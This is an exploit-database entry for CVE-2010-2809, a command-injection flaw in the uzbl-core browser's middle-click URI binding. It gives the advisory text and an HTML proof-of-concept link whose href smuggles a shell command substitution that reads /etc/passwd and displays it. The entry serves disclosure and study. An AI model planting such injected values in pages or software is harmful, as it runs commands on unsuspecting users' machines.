uzbl 'uzbl-core' - '@SELECTED_URI' Mouse Button Bindings Command Injection

Author: Chuzz
type: remote
platform: linux
port: 
date_added: 2010-08-05 
date_updated: 2014-08-27 
verified: 1 
codes: CVE-2010-2809;OSVDB-67308 
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source: https://www.securityfocus.com/bid/42297/info

uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting.

To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button.

Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application.

<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html>